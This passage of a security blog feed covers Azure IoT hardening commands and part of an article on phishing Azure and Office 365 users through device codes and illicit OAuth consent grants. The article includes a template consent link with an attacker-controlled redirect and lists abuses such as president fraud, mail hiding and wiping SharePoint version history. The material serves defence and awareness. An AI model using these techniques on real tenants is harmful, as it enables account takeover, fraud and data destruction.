<p><span style="color: #ffffff;"><span style="color: #ffff00;">az <span style="color: #ffffff;">resource update <span style="color: #808080;">&#8211;resource-group</span> &lt;Resource_Group&gt; <span style="color: #808080;">-n</span> &lt;IoT_Hub&gt;<span style="color: #808080;"> &#8211;resource-type</span> Microsoft.Devices/IotHubs <span style="color: #808080;">&#8211;set</span> properties.disableDeviceSAS=true properties.disableModuleSAS=true properties.disableLocalAuth=true</span></span></span></p>
</td>
</tr>
</tbody>
</table>
<p>Checking the values of these same parameters can also be done using the <strong>Azure CLI</strong>:</p>
<table style="border-collapse: collapse; width: 100%;">
<tbody>
<tr>
<td style="width: 836px; background-color: #002060; border-color: #002060; border-style: solid;">
<p><span style="color: #ffffff;"><span style="color: #ffff00;"><span style="color: #ffffff;"><span style="color: #ffff00;">az</span> resource show <span style="color: #808080;">&#8212;resource-group</span> &lt;Resource_Group&gt; <span style="color: #808080;">-n</span> &lt;IoT_Hub&gt; <span style="color: #808080;">&#8211;resource-type</span> Microsoft.Devices/IotHubs | <span style="color: #ffff00;">Select-String</span> <span style="color: #33cccc;">&#8220;(disableLocalAuth|disableDeviceSAS|disableModuleSAS)&#8221;</span></span></span></span></p>
</td>
</tr>
</tbody>
</table>
<p>In the example response below, the disableDeviceSAS property has been set correctly, but the other two have not.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20217 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9.png" alt="" width="907" height="127" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9.png 907w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9-437x61.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9-71x10.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9-768x108.png 768w" sizes="auto, (max-width: 907px) 100vw, 907px" /></p>
<p style="text-align: justify;">The <strong>Azure portal</strong> also allows you to perform this verification:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20208 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image5.png" alt="" width="580" height="317" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image5.png 580w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image5-349x191.png 349w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image5-71x39.png 71w" sizes="auto, (max-width: 580px) 100vw, 580px" /></p>
<p style="text-align: justify;">The choice of authentication method for Azure IoT will <strong>depend on the security requirements</strong> of your solution. If you need <strong>strong security</strong> and have the infrastructure to manage certificates, then <strong>X.509 certificate</strong> authentication is a good option. However, if you are looking for <strong>a solution that is simple to manage and use</strong>, the SAS token may be more suitable for your needs.</p>
<h1 style="text-align: justify;"><span lang="EN-GB" style="font-size: 20.0pt; line-height: 107%;">2nd security vector: RBAC and alerts </span></h1>
<p>The assignment of roles on your Azure IoT infrastructure must be <strong>thoughtful and defined according to the needs of the users</strong>. A <strong>precise definition of roles and permissions</strong> makes it possible to limit access to resources and to the various functionalities available on the platform. The various Azure IoT services provide a <strong>multitude of pre-configured roles</strong> that can be adapted to your needs and your organisation. Secondly, <strong>applying the principle of least privilege</strong>, and limiting the number of accounts with important privileges, allows you to <strong>improve the security level</strong> of your Azure IoT infrastructure.</p>
<p><strong>Azure CLI </strong>allows you to <strong>list the users with rights to the desired Azure IoT</strong> resource and their associated roles. The following command allows you to perform this action</p>
<table style="border-collapse: collapse; width: 100%; height: 129px;">
<tbody>
<tr style="height: 129px;">
<td style="width: 100%; background-color: #002060; border-color: #002060; border-style: solid; height: 129px;">
<p><span style="color: #ffffff;"><span style="color: #ffff00;"><span style="color: #33cccc;"><span style="color: #ffff00;">az</span> <span style="color: #ffffff;">role assignment list</span> <span style="color: #808080;">&#8211;scope</span> &#8220;/subscriptions/&lt;ID_de_souscription&gt;/resourceGroups/&lt;Resource_Group&gt;/providers/Microsoft.Devices/IotHubs/&lt;IoT_Hub&gt;&#8221; <span style="color: #808080;">&#8211;include-inherited</span></span></span></span></p>
</td>
</tr>
</tbody>
</table>
<p><span style="font-size: revert; color: initial;">It is possible to use string selectors (Select-String for </span><strong style="font-size: revert; color: initial;">PowerShell</strong><span style="font-size: revert; color: initial;">, grep for </span><strong style="font-size: revert; color: initial;">Bash</strong><span style="font-size: revert; color: initial;">) to retrieve only the desired information.</span></p>
<p>In the example below, <strong>names, types</strong> and <strong>roles</strong> were the only items retrieved using Select-String:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20220 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10.png" alt="" width="852" height="802" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10.png 852w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10-203x191.png 203w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10-41x39.png 41w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10-768x723.png 768w" sizes="auto, (max-width: 852px) 100vw, 852px" /></p>
<p>The Azure built-in roles feature is available on <a href="https://learn.microsoft.com/fr-fr/azure/role-based-access-control/built-in-roles">this page</a>.</p>
<p>Configuring <strong>alerts based on the metrics</strong> of your Azure IoT services is another tool to consider. Alerts can be configured to detect suspicious behaviour or anomalies, <strong>allowing for rapid investigation</strong> of your infrastructure. Azure provides its customers with a large collection of signals to define alert conditions. It is also possible to <strong>define custom alert signals </strong>via the query language used by Azure Log Analytics.</p>
<p>The <strong>Azure Portal</strong> is the easiest way to set up alerts based on the data collected by the IoT Hub. For example, to define a log alert rule, you need to:</p>
<ol style="text-align: justify;">
<li>Go to the management page of the desired IoT Hub;</li>
<li>Go to the Logs sub-category of the Monitoring category;</li>
<li>Choose a rule using the Azure Log Analytics language;</li>
<li>Add an alert rule related to this query;</li>
<li>Choose the operator, unit, threshold value, check recurrence and time period for the rule</li>
</ol>
<p style="text-align: justify;">These actions are summarised in the screenshots below:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20210 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6.png" alt="" width="909" height="244" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6.png 909w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6-437x117.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6-71x19.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6-768x206.png 768w" sizes="auto, (max-width: 909px) 100vw, 909px" /></p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20212 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7.png" alt="" width="824" height="603" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7.png 824w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7-261x191.png 261w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7-53x39.png 53w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7-768x562.png 768w" sizes="auto, (max-width: 824px) 100vw, 824px" /></p>
<p>It will then be sufficient to choose an <strong>action group</strong> linked to a type of action (sending an email, SMS, etc.).</p>
<p>The example given will lead to an action if the number of failed connections of connected objects to the IoT Hub concerned exceeds 10 failures in 10 minutes or less.</p>
<p>A <a href="https://learn.microsoft.com/fr-fr/azure/azure-monitor/alerts/tutorial-log-alert">detailed guide</a> in the form of a tutorial is available on the Azure documentation. Note that this service is available at an additional cost.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;"><span lang="EN-GB" style="font-size: 20.0pt; line-height: 107%;">3rd vector of security: the service itself </span></h1>
<p>Finally, <strong>setting up proper configuration</strong> of Azure IoT services is a key element in improving the platform&#8217;s cyber maturity level. This includes options such as <strong>routing rules</strong> or setting the minimum version of TLS used by devices to connect to Azure IoT Hub.</p>
<p><strong>Routing rules</strong> are used to <strong>redirect messages</strong> from IoT devices to an endpoint (storage, services, database, etc.) and are configurable by routing requests. It is recommended to <strong>filter incoming messages</strong>, via routing requests, to increase the security of your IoT solution.</p>
<p><strong>Checking the minimum TLS version accepted</strong> can be done using the <strong>Azure CLI</strong>: indeed, an IoT Hub has the minTlsVersion attribute to check this property. This check is performed using the following command:</p>
<table style="border-collapse: collapse; width: 100%;">
<tbody>
<tr>
<td style="width: 100%; background-color: #002060; border-color: #002060; border-style: solid;">
<p><span style="color: #ffffff;"><span style="color: #ffff00;">az <span style="color: #ffffff;">resource show <span style="color: #808080;">&#8212;resource-group</span> &lt;Resource_Group&gt; <span style="color: #808080;">-n</span> &lt;IoT_Hub&gt; <span style="color: #808080;">&#8211;resource-type</span> Microsoft.Devices/IotHubs | <span style="color: #ffff00;">Select-String</span> <span style="color: #33cccc;">&#8220;minTlsVersion&#8221;</span></span></span></span></p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">Si cette commande <strong>ne retourne rien</strong>, ou retourne <strong>une valeur inférieure à 1.2</strong>, alors la configuration <strong>n’est pas satisfaisante</strong>.</p>
<p style="text-align: justify;">Le <strong>portail d’Azure</strong> permet également d’effectuer cette vérification</p>
<p>If this command <strong>returns nothing</strong>, or returns a <strong>value less than 1.2</strong>, then the configuration <strong>is not satisfactory</strong>.</p>
<p>The <strong>Azure portal</strong> also allows you to perform this check:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20214 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image8.png" alt="" width="668" height="315" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image8.png 668w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image8-405x191.png 405w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image8-71x33.png 71w" sizes="auto, (max-width: 668px) 100vw, 668px" /></p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;"><strong>En synthèse</strong></h1>
<p><strong>Security is a major issue for IoT projects</strong>: Microsoft, with its Azure IoT product, provides an IoT platform that meets the majority of IoT needs in a secure manner, provided that it is configured correctly. In this article, we have discussed<strong> recommendations for improving the security</strong> of your Azure IoT infrastructure.</p>
<p>It is important to keep in mind that <strong>other attack vectors exist</strong>, such as hardware and software vulnerabilities and the networks used by IoT devices.  Securing an IoT infrastructure is a <strong>complex challenge that requires an end-to-end approach</strong>.</p>
<p style="text-align: justify;"><strong> </strong></p>
<p style="text-align: justify;"><em> </em></p>
<p style="text-align: center;"><em>With the help of Marius ANDRE</em></p>
<p style="text-align: justify;">[1] “Magic Quadrant for Global Industrial IoT Platforms”</p>
<p style="text-align: justify;"><a href="https://www.gartner.com/doc/reprints?id=1-2BQFX3BJ&amp;ct=221116&amp;st=sb">https://www.gartner.com/doc/reprints?id=1-2BQFX3BJ&amp;ct=221116&amp;st=sb</a></p>
<p style="text-align: justify;">[2] “Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List (CRL) Profile”</p>
<p style="text-align: justify;"><a href="https://www.rfc-editor.org/rfc/rfc5280">https://www.rfc-editor.org/rfc/rfc5280</a></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/04/improving-the-security-of-your-iot-infrastructure-configuration-tips-and-best-practices-on-azure-iot/">Improving the security of your IoT infrastructure: configuration tips and best practices on Azure IoT</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2023/04/improving-the-security-of-your-iot-infrastructure-configuration-tips-and-best-practices-on-azure-iot/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Illicit consent grant attacks targeting Azure and Office 365: still a threat?</title>
		<link>https://www.riskinsight-wavestone.com/en/2023/03/illicit-consent-grant-attacks-targeting-azure-and-office-365-still-a-threat/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2023/03/illicit-consent-grant-attacks-targeting-azure-and-office-365-still-a-threat/#respond</comments>
		
		<dc:creator><![CDATA[Raymond Chan]]></dc:creator>
		<pubDate>Thu, 30 Mar 2023 09:00:00 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[O365]]></category>
		<category><![CDATA[phishing]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=20161</guid>

					<description><![CDATA[<p>A quick overview of phishing techniques on Azure and Office 365 Phishing attacks are well known. The objective of this type of attack is to perform actions from a victim&#8217;s account or to retrieve information about the targeted person or...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/03/illicit-consent-grant-attacks-targeting-azure-and-office-365-still-a-threat/">Illicit consent grant attacks targeting Azure and Office 365: still a threat?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1 style="text-align: justify;">A quick overview of phishing techniques on Azure and Office 365</h1>
<p style="text-align: justify;">Phishing <strong>attacks</strong> are well known. The objective of this type of attack is to perform <strong>actions</strong> from a victim&#8217;s account or to <strong>retrieve information</strong> about the targeted person or company.</p>
<p style="text-align: justify;">Despite their notoriety, they remain very effective for attackers. Indeed, among the <a href="https://www.wavestone.com/en/insight/cert-w-2022-cybersecurite-trends-analysis/">attacks investigated by Wavestone CERT</a>, about 51% of them start with the use of valid accounts, which includes <strong>phishing attacks</strong>.</p>
<p style="text-align: justify;"><strong>We are all vulnerable to phishing attacks!</strong> An attacker with enough resources and information about their target can generate <strong>a trap sophisticated enough</strong> to trick them. Similarly, the Office365 and Azure product suites have features that can be exploited in <strong>less conventional attacks, the impacts of which users may not be aware.</strong></p>
<p style="text-align: justify;"><strong>Employee awareness</strong>, while necessary to address the most common threats, is not enough to address some of the more targeted or less traditional types of attacks. <strong>Tougher access requirements</strong> to cloud-hosted resources, <strong>good hygiene in managing access rights</strong>, and <strong>detection of unusual and suspicious access</strong> are all critical to a company&#8217;s defence strategy.</p>
<p style="text-align: justify;">Attackers have a <strong>wide range of tools and possibilities</strong> to access <strong>documents stored</strong><em> on </em>a company&#8217;s <strong>SharePoint</strong>, attempt to <strong>retrieve sensitive emails</strong><em>, </em>or retrieve employee information. The traditional phishing attack as well as the device code authentication attack will be briefly explained below before looking at the illicit consent grant attacks in more detail.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">The traditional phishing attack: a known threat preventable using multi-factor authentication</h2>
<p style="text-align: justify;">Traditional phishing attacks are usually based on sending a <strong>link directing the targeted victims to a site the attacker controls</strong>. Using an authentication login page similar to those used by employees of the targeted company, the attacker <strong>retrieves the credentials and passwords of the tricked users</strong>.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20131 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1EN-2.png" alt="" width="3408" height="2216" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1EN-2.png 3408w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1EN-2-294x191.png 294w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1EN-2-60x39.png 60w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1EN-2-768x499.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1EN-2-1536x999.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1EN-2-2048x1332.png 2048w" sizes="auto, (max-width: 3408px) 100vw, 3408px" /></p>
<p style="text-align: center;"><em>The traditional phishing attack is simple to implement in the absence of multi-factor authentication</em></p>
<p style="text-align: justify;">The <strong>ease of implementing</strong> such an attack on <strong>a large scale</strong> makes it a tool of choice for untargeted attacks. One method to protect against this type of attack is <strong>to enforce the use of a second authentication factor</strong>.</p>
<p style="text-align: justify;">It should be noted however that although more complex to implement, <strong>the interception of the second authentication factor is technically feasible</strong> and will be the subject of an upcoming dedicated article.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">The attack via &#8220;device code&#8221; authentication: a little-known authentication method hijacked by attackers</h2>
<p style="text-align: justify;">This attack <strong>relies on the device authorization grant functionality</strong><a href="#_ftn1" name="_ftnref1">[1]</a>. This authentication method allows <strong>the authentication of a user on a device without a web browser</strong>. A code displayed on this device must then be entered on a computer or smartphone via the dedicated Microsoft site. This <strong>device will then have part of the access rights to Office 365 resources corresponding to the user who entered the code</strong>.</p>
<p style="text-align: justify;">This <strong>functionality is not well known to users</strong> and can be exploited by an attacker for malicious purposes:</p>
<ul style="text-align: justify;">
<li>The attacker first generates a device code, using the same process used by devices without a web browser.</li>
<li>Then, the attacker&#8217;s objective will be to get the victim to fill in his device code on the <span style="color: #048b9a;">https://microsoft.com/devicelogin</span> For example, the attacker could pretend that to access a sensitive document, it is necessary to connect to this link using the code he generated.</li>
<li><strong>If the target accesses the link, fills in the code and authenticates, this will allow the attacker to impersonate the </strong></li>
</ul>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-20135 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2EN-2.png" alt="" width="3575" height="2490" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2EN-2.png 3575w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2EN-2-274x191.png 274w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2EN-2-56x39.png 56w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2EN-2-768x535.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2EN-2-1536x1070.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2EN-2-2048x1426.png 2048w" sizes="auto, (max-width: 3575px) 100vw, 3575px" /></p>
<p style="text-align: center;"><em>Example of a device code phishing attack</em></p>
<p> </p>
<p style="text-align: justify;">This attack is <strong>more difficult for an attacker to carry out</strong> because of the <strong>short lifespan of the device codes:</strong> they are only valid for <strong>15 minutes</strong> and must therefore be generated shortly before the user enters them. This attack is therefore more easily carried out within the framework of <strong>&#8220;phoning&#8221; attacks or phishing via Teams</strong>. For example, the attacker could call the victim, pretending to be part of the company&#8217;s IT support team, and ask the user to authenticate on the link indicated and fill in the code of his choice.</p>
<p style="text-align: justify;">To protect against this type of attack, <strong>conditional access policies</strong> on Azure can be used <em>to </em><strong>prohibit suspicious connections from devices not under the control of the company</strong>.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Illicit consent grant attack</h2>
<p style="text-align: justify;">In addition to these two methods, the illicit consent grant attack also allows an attacker to illegitimately gain access to an Azure environment. This attack was even initially easier for an attacker to implement than attacks via device code authentication. Faced with the resurgence of this threat, <strong>actions were taken in 2020 by Microsoft to limit the conditions for carrying out the attack</strong>. While hardened Azure configurations can completely block this threat, the configurations implemented by some companies expose them to this type of attack. What are the <em>prerequisites for </em>the realization of such an attack, what are the possible <strong>consequences</strong> and <strong>how to protect yourself</strong>?</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">What is the illicit consent grant attack?</h1>
<p style="text-align: justify;">To <strong>understand the principle of</strong> this attack, let&#8217;s put ourselves <strong>in the shoes of an employee who is a victim</strong> of such an attack:</p>
<ul style="text-align: justify;">
<li>The victim receives a <strong>phishing email</strong> indicating an urgent action to be taken to keep their Microsoft account activated. Employees are made aware not to click on phishing links and not to enter their passwords on unknown platforms. The <strong>link</strong> in the format <span style="color: #048b9a;">https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=&lt;CLIENT_ID&gt;&amp;redirect_uri=&lt;Attacker_controled_URL&gt;&amp;response_type=code&amp;response_mode=query&amp;scope=Mail.ReadWrite%20Files.Read.All%20Mail.Send%20User.Read</span> contains a <strong>Microsoft-associated domain</strong>, which reassures the victim.</li>
<li>When clicking on the link, the victim must authenticate themself. This authentication is often automatic since it benefits from Microsoft&#8217;s single sign-on (SSO). The victim then receives <strong>a request to grant permissions</strong>:</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20145 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagebis.png" alt="" width="493" height="696" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagebis.png 493w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagebis-135x191.png 135w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagebis-28x39.png 28w" sizes="auto, (max-width: 493px) 100vw, 493px" /></p>
<p style="text-align: center;"><em>The malicious application asks the user to grant it permissions</em></p>
<ul style="text-align: justify;">
<li>If the victim clicks &#8220;Cancel&#8221; out of caution, they are redirected to the attacker&#8217;s server with a URL like <span style="color: #048b9a;">&lt;Attacker_controled_URL&gt;/?error=consent_required &amp;error_description=AADSTS65004%3a+User+declined+to+consent+to+access+the+app.&amp;error_uri=https%3a%2f%2flogin.microsoftonline.com%2ferror%3fcode%3d65004#</span>. The attacker, understanding that the victim has not accepted the prompt to grant them permissions, can then <strong>redirect the victim to the phishing page, giving them the impression that the requested permissions must be accepted</strong> to proceed to the next step.</li>
<li>Because of the legitimate domain name and the urgency indicated in the phishing email, the <strong>victim of the attack chooses to accept</strong><em>. </em>They then see a message indicating that their account will be kept activated, as suggested in the initial email. The victim then resumes normal activity.</li>
</ul>
<p style="text-align: justify;">However, this consent allows the attacker to perform <strong>actions on behalf of the victim</strong>, depending on the permissions granted. Note that the illicit consent grant attack has <strong>many advantages</strong> for an attacker, including:</p>
<ul style="text-align: justify;">
<li>The <strong>use of a Microsoft-associated URL</strong> when requesting consent, which is considered trusted and therefore implies less distrust on the part of targeted users.</li>
<li>Obtaining <em>persistent access </em>for 90 days, without knowledge of the user&#8217;s password or second authentication factor if no conditional access policy is implemented.</li>
<li>The ability to <strong>directly request Microsoft APIs</strong> to automatically retrieve files, emails, and other corporate resources accessible by the tricked user.</li>
</ul>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Technical sidebar</h2>
<p style="text-align: justify;">From a technical point of view, <strong>the illicit consent grant attack relies on the ability of an attacker to create an application that requires permission to be granted</strong>. Granting the permission is a feature that is regularly used by users without them realizing it, e.g., the Outlook client is allowed by default to retrieve and notify them of new incoming emails.</p>
<p style="text-align: justify;">Here are the key steps when performing this type of attack (which is based on the authorization code grant flow of OAuth 2.0):</p>
<ul style="text-align: justify;">
<li>The attacker <strong>creates an enterprise application on Azure AD</strong> (<span style="color: #048b9a;">application registration</span>), <strong>configures the permissions</strong> they want from <strong>users</strong> and instantiates a &#8220;<strong>client_secret</strong>&#8221; on the application. Some constraints related to this application are detailed below.</li>
<li>The attacker sets up a <strong>server to which users will be redirected</strong> following the consent and indication of its URL as a <strong>valid redirection URL for the application</strong>.</li>
<li>Following <em>a </em><strong>user&#8217;s consent</strong>, the user will be <strong>redirected</strong> <strong>to the malicious site</strong> and a <em>c</em><strong>ode will be provided to the attacker</strong>. This code is the proof to be shown to Microsoft that the user authorizes the application to do actions on their behalf.</li>
<li>Using <strong>this code </strong>and the application&#8217;s &#8220;<strong>client_secret</strong>&#8220;, the attacker will be able to <strong>retrieve an OAuth token</strong>. This token is a <strong>receipt signed by Microsoft</strong> that specifies the <strong>actions that the victim authorizes to be done on his behalf</strong>. The attacker can also retrieve a &#8220;refresh_token&#8221; that allows to <strong>renewal of the validity of the OAuth token</strong>.</li>
<li>This OAuth token can then be used to send <strong>requests to the Graph API</strong> in the name of the victim and therefore allows attackers to <strong>impersonate the user</strong>.</li>
</ul>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-20139 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3EN-2.png" alt="" width="3169" height="1705" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3EN-2.png 3169w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3EN-2-355x191.png 355w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3EN-2-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3EN-2-768x413.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3EN-2-1536x826.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3EN-2-2048x1102.png 2048w" sizes="auto, (max-width: 3169px) 100vw, 3169px" /></p>
<p> </p>
<h1 style="text-align: justify;">What are the consequences of such an attack?</h1>
<p style="text-align: justify;">While some <strong>permissions require administrator approval by default</strong>, other permissions can be granted directly by users in non-hardened Azure environments. The <strong>permissions that can be recovered</strong> by the attacker during this type of attack <strong>depend on the configuration of the targeted Azure AD tenant</strong>.</p>
<p style="text-align: justify;">Here are some examples of possible abuse by an attacker who has managed to retrieve a user&#8217;s permissions on a non-hardened environment.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20143 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4EN-2.png" alt="" width="3083" height="1330" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4EN-2.png 3083w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4EN-2-437x189.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4EN-2-71x31.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4EN-2-768x331.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4EN-2-1536x663.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4EN-2-2048x884.png 2048w" sizes="auto, (max-width: 3083px) 100vw, 3083px" /></p>
<p style="text-align: center;"><em>Actions that can be taken following a successful malicious consent attack on an unhardened Azure environment</em></p>
<p style="text-align: justify;"> </p>
<ul style="text-align: justify;">
<li><strong>Azure Active Directory:</strong>
<ul>
<li>The <span style="color: #048b9a;">Microsoft Graph User.ReadBasic.All</span> permission allows <strong>retrieval of the email addresses of all users in a tenant</strong>, allowing the deployment of larger-scale phishing attacks from an initial compromise.</li>
</ul>
</li>
<li><strong>Outlook:</strong>
<ul>
<li>Sending an email on behalf of a user can enable so-called &#8220;<strong>president fraud</strong><em>&#8221; </em>attacks using the <span style="color: #048b9a;">Microsoft Graph Mail.Send</span> and <span style="color: #048b9a;">Mail.ReadWrite</span> permissions. A compromised employee with a high level of authority could, for example, send an email requesting that a large amount of money be sent urgently to a bank account not listed by the company.</li>
<li>Sent emails can also be hidden using <strong>Outlook filtering rules</strong> that can be modified using the <span style="color: #048b9a;">MailboxSettings.ReadWrite</span> permission. The attacker will then be able to <strong>redirect all emails</strong> related to his attack and associated replies to a different folder in the outbox and inbox.</li>
</ul>
</li>
<li><strong>Teams:</strong>
<ul>
<li><strong>Reading and sending messages</strong> via Teams (<span style="color: #048b9a;">Microsoft Graph Chat.ReadWrite</span>) is an effective method for an attacker to impersonate a user. This method can also be used to carry out &#8220;<strong>president fraud</strong>&#8221; attacks.</li>
</ul>
</li>
<li><strong>OneDrive and SharePoint:</strong>
<ul>
<li>Read access to <strong>files accessible on OneDrive and SharePoint</strong> (<span style="color: #048b9a;">Microsoft Graph Files.Read.All</span>) can provide access to all files accessible by the user. In addition, SharePoint files are often <strong>stored with permissive access rights </strong>which could allow attackers to retrieve a large number of <strong>files</strong>. It is not uncommon, for example, to have access to scripts or configuration files containing passwords in clear text.</li>
<li>In addition, SharePoint&#8217;s search capabilities, including reading and indexing the content of Office files, can be used to target certain keywords such as &#8220;password&#8221;.</li>
<li>The writing rights on a SharePoint file (<span style="color: #048b9a;">Microsoft Graph Files.ReadWrite.All</span>) can also have a significant impact: SharePoint&#8217;s versioning features limit the recording of old file versions to 100 versions by default. This means that in case of automated and successive rewrites more than 100 times, <strong>the initial version of the file would no longer be recoverable</strong>. This would allow an attacker to <strong>erase a large amount of data</strong> if an account with write rights to sensitive files is compromised. In case of deletion, it would then be necessary to contact Microsoft support to try to recover the data from the daily cold backups.</li>
</ul>
</li>
<li><strong>OneNote:</strong>
<ul>
<li>Synchronized OneNote files (<span style="color: #048b9a;">Microsoft Graph Notes.ReadWrite</span> or <span style="color: #048b9a;">Notes.Read.All</span>) can contain sensitive information such as <strong>meeting minutes, and confidential information, but also technical information</strong> such as passwords stored in an unsecured manner.</li>
</ul>
</li>
<li><strong>Azure Resources</strong>:
<ul>
<li>Access to key vaults and storage accounts (<span style="color: #048b9a;">Azure Key Vault</span> and <span style="color: #048b9a;">Azure Storage user_impersonation</span>) can give access to sensitive elements in <strong>case of compromise of developer</strong> or technical user <strong>accounts</strong>. These elements can <strong>facilitate the compromise of Azure resources</strong> such as virtual machines and serve as a <strong>rebound point for an external attacker</strong>.</li>
</ul>
</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">These actions can have <strong>serious impacts</strong> on a company. In addition, they can <strong>facilitate more elaborate attacks</strong> by disclosing sensitive information to an external attacker.</p>
<p style="text-align: justify;">If <strong>approved by an administrator</strong>, more sensitive permissions can be retrieved such as write access to <em>a</em><strong>ll Azure Active Directory information.</strong></p>
<p style="text-align: justify;">Finally, administrators have the <strong>right to grant all users permission to an application</strong> of the tenant. In this case, the identity of all users could be impersonated to grant permission.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Microsoft&#8217;s implementation of the &#8220;risk-based consent step-up&#8221; to limit attacks by illicit consent</h1>
